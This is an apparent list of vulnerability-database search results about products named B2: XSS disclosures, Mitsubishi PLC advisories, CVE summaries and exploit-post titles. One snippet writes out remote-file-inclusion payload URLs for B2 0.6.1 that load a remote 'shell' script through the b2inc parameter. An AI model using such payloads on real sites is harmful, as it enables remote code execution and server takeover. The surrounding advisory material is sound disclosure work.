b2.astrosage.com Cross Site Scripting vulnerability

Open Bug Bounty ID: OBB-1004174 Following coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: &nbsp&nbsp&nbsp&nbsp&nbsp&nbspa. verified the vulnerability and confirmed its existence; &nbsp&nbsp&nbsp&nbsp&nbsp&nbspb. notified the website...

Mitsubishi QJ71E71-B2 Communications Adapter Detection

Binary data 761516.prm...

eservice.gov.bd XSS vulnerability

Open Bug Bounty ID: OBB-442714 Description| Value ---|--- Affected Website:| eservice.gov.bd Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat...

firefox security update

45.8.0-2.0.1 - Add firefox-oracle-default-prefs.js and firefox-oracle-default-bookmarks.html and remove the corresponding Red Hat files 45.8.0-2 - Update to 45.8.0 ESR B2 45.8.0-1 - Update to 45.8.0 ESR 45.7.0-2 - Enabled ppc/s390 arches rhbz1418765...

Denial of Service Vulnerability in Multiple Mitsubishi Electric MELSEC-Q Series Products

Mitsubishi Electric is a Japanese company. The affected products, QJ71E71-100, QJ71E71-B5 and QJ71E71-B2, are Ethernet interface modules used to connect MELSEC-Q series programmable controllers to host networks. A denial of service vulnerability exists in multiple Mitsubishi Electric MELSEC-Q...

Security Bypass Vulnerability in Multiple Mitsubishi Electric MELSEC-Q Series Products

Mitsubishi Electric is a Japanese company. The affected products, QJ71E71-100, QJ71E71-B5 and QJ71E71-B2, are Ethernet interface modules used to connect MELSEC-Q series programmable controllers to host networks. A security bypass vulnerability exists in multiple Mitsubishi Electric MELSEC-Q Serie...

Joomla B2 Portfolio Component 1.0.0 - Multiple SQL Injection

No description provided by source. B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmai...

CafeLog B2 0.6.1 Weblog and News Publishing Tool b2mail.php b2inc Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/23659/info B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the...

b2 Blog <= 0.5 (b2verifauth.php) Remote File Include Vulnerability

No description provided by source...

B2 0.6 b2edit.showposts.php b2inc Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/4673/info B2 is a news/weblog tool written in php. b2 allows webmasters to quickly post news on the frontpage, and let viewers interact with each other. It is available primarily for Unix and Linux. A variable that is...

CafeLog B2 0.6.1 Weblog and News Publishing Tool b2categories.php b2inc Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/23659/info B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the...

CafeLog B2 0.6.1 Weblog and News Publishing Tool b2archives.php b2inc Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/23659/info B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application and the...

D-Link DSL-2640B (ADSL Router) CSRF flaws and fixes-vulnerability warning-the black bar safety net

Title: D-Link DSL-2640B ADSL Router CSRF Vulnerability Author: Ivano Binetti www.badguest.cn http://ivanobinetti.com Program website: http://www.d-link.com Affected version: DSL-2640B Test platform: Firmware Version: EU4. 0 0; Hardware Version: B2 +-----------------------------------------------...

Joomla Component com_b2portfolio 1.0.0 Multiple SQL Injection

Exploit for php platform in category web applications Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmail dot com Date 2011-01-24 X. INDEX I. ABOUT THE...

Joomla! Component com_b2portfolio 1.0.0 - Multiple SQL Injections

B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability Name B2 Portfolio Vendor http://www.pulseextensions.com Versions Affected 1.0.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at gmail dot com Date 2011-01-24 X. INDEX ...

CVE-2009-4406

CVE-2009-4406 is an XSS in the APC Network Monitoring/Card web interface. The vulnerability affects the NMC login form: Forms/login1?login_username on AP7932 B2 devices (rpdu 3.3.3 or 3.7.0 on AOS 3.3.4 and possibly other versions) allowing remote attackers to inject arbitrary script/HTML. Conseq...

B2 Weblog and News Publishing Tool v0.6.1 &gt;&gt; RFI

+++++++ name & version :B2 Weblog and News Publishing Tool v0.6.1 vendor: cafelog.com by : www.hackerz.ir userz,s3rv3rhack3r,saeidonlylinux,farzad exploit: http://victim/b2archives.php?b2inc=http://shell http://victim/b2categories.php?b2inc=http://shell http://victim/b2mail.php?b2inc=http://shell...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...

CVE-2007-2290

Multiple PHP remote file inclusion vulnerabilities in B2 Weblog and News Publishing Tool 0.6.1 allow remote attackers to execute arbitrary PHP code via a URL in the b2inc parameter to 1 b2archives.php, 2 b2categories.php, or 3 b2mail.php. NOTE: this may overlap CVE-2002-1466...

CVE-2007-2290

CVE-2007-2290 affects B2 Weblog and News Publishing Tool 0.6.1. It describes multiple PHP remote file inclusion vulnerabilities that allow remote attackers to execute arbitrary PHP code by supplying a URL in the b2inc parameter to one of three scripts: b2archives.php, b2categories.php, or b2mail....